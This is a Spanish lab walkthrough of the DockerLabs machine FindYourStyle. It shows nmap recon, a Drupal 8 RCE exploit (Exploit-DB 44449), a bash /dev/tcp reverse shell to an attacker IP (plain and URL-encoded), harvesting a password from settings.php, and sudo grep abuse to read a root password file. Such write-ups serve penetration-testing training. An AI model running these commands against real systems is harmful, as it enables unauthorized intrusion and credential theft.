> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/findyourstyle.md).

# FindYourStyle

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **FindYourStyle** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `findyourstyle.zip`:

```bash
7z x findyourstyle.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbiRTaX9tNzwWbjLbVUby%2FPasted%20image%2020250904104528.png?alt=media&amp;token=80f0d28a-3bf0-4bd3-bcb4-c491676ba645" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `findyourstyle.tar`:

```bash
bash auto_deploy.sh findyourstyle.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSOfMPtPhBcjib1Q7zEI3%2FPasted%20image%2020250904104552.png?alt=media&amp;token=3e86559c-dc2b-44b1-a150-1499b5d13997" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGbCJfqoz95Yk6ctl5QUV%2FPasted%20image%2020250904104641.png?alt=media&amp;token=5460042c-5956-4fd3-a83b-6f2d12bb23b9" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultado del escaneo:**

* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhwRfFF5JSldRfwPgWTc2%2FPasted%20image%2020250904104709.png?alt=media&amp;token=61d87df5-e23e-47b9-91b3-c8141787d511" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 80:** `Apache httpd 2.4.25`, con el CMS Drupal 8 funcionando sobre este servicio.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXumEFflwxPWM3EaE3l0B%2FPasted%20image%2020250904104733.png?alt=media&amp;token=2d03ae36-d957-4380-8e88-d9326aa1a37a" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio HTTP mediante un navegador (`http://172.17.0.2/`) y comprobamos que se trata de un sitio web construido con Drupal, el cual no presenta contenido relevante.

Utilizamos la extensión Wappalyzer para confirmar que se trata de **Drupal 8**, lo cual coincide con los resultados del escaneo de `nmap`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Frk6d2Dw6EfW3T2sXZLaQ%2FPasted%20image%2020250904104831.png?alt=media&amp;token=7bc0021b-7230-4e2e-b8c4-564c3f5e6c00" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Investigación de vulnerabilidades**

Identificamos que Drupal 8 es vulnerable a una ejecución remota de código (RCE), documentada en Exploit-DB con el ID [44449](https://www.exploit-db.com/exploits/44449).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FwYYNrZd9s2EEWGtqLlDQ%2FPasted%20image%2020250904104923.png?alt=media&amp;token=2d1dee29-a50e-40e3-94b0-bbf997faa152" alt=""><figcaption></figcaption></figure>

#### **3.2. Descarga y configuración del exploit**

Descargamos el exploit y le damos permisos de ejecución:

```bash
chmod 700 44449.rb
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FkS7TVt9lQiQWyrhwxsLO%2FPasted%20image%2020250904105127.png?alt=media&amp;token=b2244bee-f7b4-4112-b137-e707a1d2c410" alt=""><figcaption></figcaption></figure>

Instalamos la dependencia `highline`, requerida para la ejecución correcta del exploit:

```bash
gem install highline
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FDsjnUxkxQBVeV5UViYx3%2FPasted%20image%2020250904105156.png?alt=media&amp;token=d981e467-fe70-44bc-a609-7c2b4069337e" alt=""><figcaption></figcaption></figure>

#### **3.3. Ejecución del exploit**

Ejecutamos el exploit proporcionando la URL objetivo:

```bash
ruby 44449.rb http://172.17.0.2/
```

**Resultado:** El exploit se ejecuta con éxito, otorgándonos una shell limitada como el usuario `www-data` en la máquina objetivo.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FRXoLrzg59PFFyScHJfY5%2FPasted%20image%2020250904105249.png?alt=media&amp;token=6bc5e16e-f41f-413e-b021-7a8cba586d08" alt=""><figcaption></figcaption></figure>

#### **3.4. Establecimiento de reverse shell**

Para obtener una shell más cómoda, establecemos una reverse shell desde la máquina objetivo hacia nuestra máquina atacante.

Primero, nos ponemos en escucha en el puerto `1234`:

```bash
nc -nvlp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJVUcQW1YgRMFiSD606OD%2FPasted%20image%2020250904105519.png?alt=media&amp;token=2942934b-1819-4c9d-9270-b94ff39a6012" alt=""><figcaption></figcaption></figure>

Desde la máquina objetivo, intentamos ejecutar el siguiente comando para enviar una shell a nuestra máquina atacante:

```bash
bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'
```

Sin embargo, este comando puede fallar debido a los caracteres especiales como `>` y `&`, que suelen ser mal interpretados.

Para evitar este problema, codificamos el comando usando [urlencoder.org](https://www.urlencoder.org/):

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fj1PL57BSUbFNzh4wMOqD%2FPasted%20image%2020250904105445.png?alt=media&amp;token=cdd73b3f-c0fe-4410-a424-f50ccaca6bd5" alt=""><figcaption></figcaption></figure>

Ejecutamos el comando codificado desde la máquina objetivo:

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FEV479BPUwiG51n0Z0m5L%2FPasted%20image%2020250904105554.png?alt=media&amp;token=e86356c3-f02e-4c21-9116-da20774e0fe9" alt=""><figcaption></figcaption></figure>

Como resultado, recibimos exitosamente una shell en nuestra terminal como el usuario `www-data`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVWIrGcix6K0sOeoV3TPz%2FPasted%20image%2020250904105616.png?alt=media&amp;token=4ff1c3f5-f7b8-4c3d-9a63-edf283395122" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Reconocimiento interno**

Listamos los directorios existentes en `/home` para identificar usuarios del sistema:

```bash
ls /home/
```

Encontramos el usuario `ballenita`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTcXc83nNMygP6YYi4gHm%2FPasted%20image%2020250904105835.png?alt=media&amp;token=089ff2b0-ccc0-48fd-a744-fad72e81761f" alt=""><figcaption></figcaption></figure>

Examinamos el archivo `settings.php` de Drupal, el cual contiene configuraciones sensibles, incluyendo credenciales:

```bash
cat /var/www/html/sites/default/settings.php
```

Localizamos la contraseña `ballenitafeliz` para el usuario `ballenita`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPLP3nc1fZ0wq3EVBg053%2FPasted%20image%2020250904105955.png?alt=media&amp;token=4c60e35c-ba5f-4a67-99d6-dc512bd26997" alt=""><figcaption></figcaption></figure>

#### **4.2. Acceso al usuario ballenita**

Utilizamos la contraseña encontrada (`ballenitafeliz`) para acceder como `ballenita`:

```bash
su ballenita
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCaw9D5rJSmOIPhYbF6uI%2FPasted%20image%2020250904110028.png?alt=media&amp;token=2558d485-e865-410b-9659-af637806bae5" alt=""><figcaption></figcaption></figure>

#### **4.3. Análisis de privilegios sudo**

Verificamos los comandos que el usuario `ballenita` puede ejecutar con privilegios elevados:

```bash
sudo -l
```

**Resultado:** El usuario `ballenita` puede ejecutar `/bin/ls` y `/bin/grep` como `root` sin proporcionar contraseña:

```bash
(root) NOPASSWD: /bin/ls, /bin/grep
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fw0IqlU5m9lvc1pqop7dg%2FPasted%20image%2020250904110123.png?alt=media&amp;token=d9f994ff-47ab-4a6f-8ece-bb3fdc08d26a" alt=""><figcaption></figcaption></figure>

#### **4.4. Lectura de archivos privilegiados**

Listamos el directorio `/root` utilizando `/bin/ls`:

```bash
sudo -u root /bin/ls /root/
```

Encontramos un archivo llamado `secretitomaximo.txt`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FpYrPDe9Ice75ywHLLa1X%2FPasted%20image%2020250904110131.png?alt=media&amp;token=ebed2799-c92d-4932-8c36-bd337ee6568d" alt=""><figcaption></figcaption></figure>

Leemos el contenido del archivo utilizando `/bin/grep`:

```bash
sudo -u root /bin/grep '' /root/secretitomaximo.txt
```

**Resultado:** Obtenemos la contraseña del usuario `root` (`nobodycanfindthispasswordrootrocks`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9QDwliCEcfdth2yYr3HS%2FPasted%20image%2020250904110327.png?alt=media&amp;token=f9d46698-d729-45ac-ab66-80eabff08c52" alt=""><figcaption></figcaption></figure>

#### **4.5. Acceso como root**

Accedemos al usuario `root` utilizando la contraseña obtenida anteriormente (`nobodycanfindthispasswordrootrocks`):

```bash
su root
```

**Resultado:** Obtenemos una shell como `root`, completando exitosamente la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FynLIHxvaGR8M2t5KeFEE%2FPasted%20image%2020250904110345.png?alt=media&amp;token=a212113b-228f-4644-9465-f431f49debd4" alt=""><figcaption></figcaption></figure>
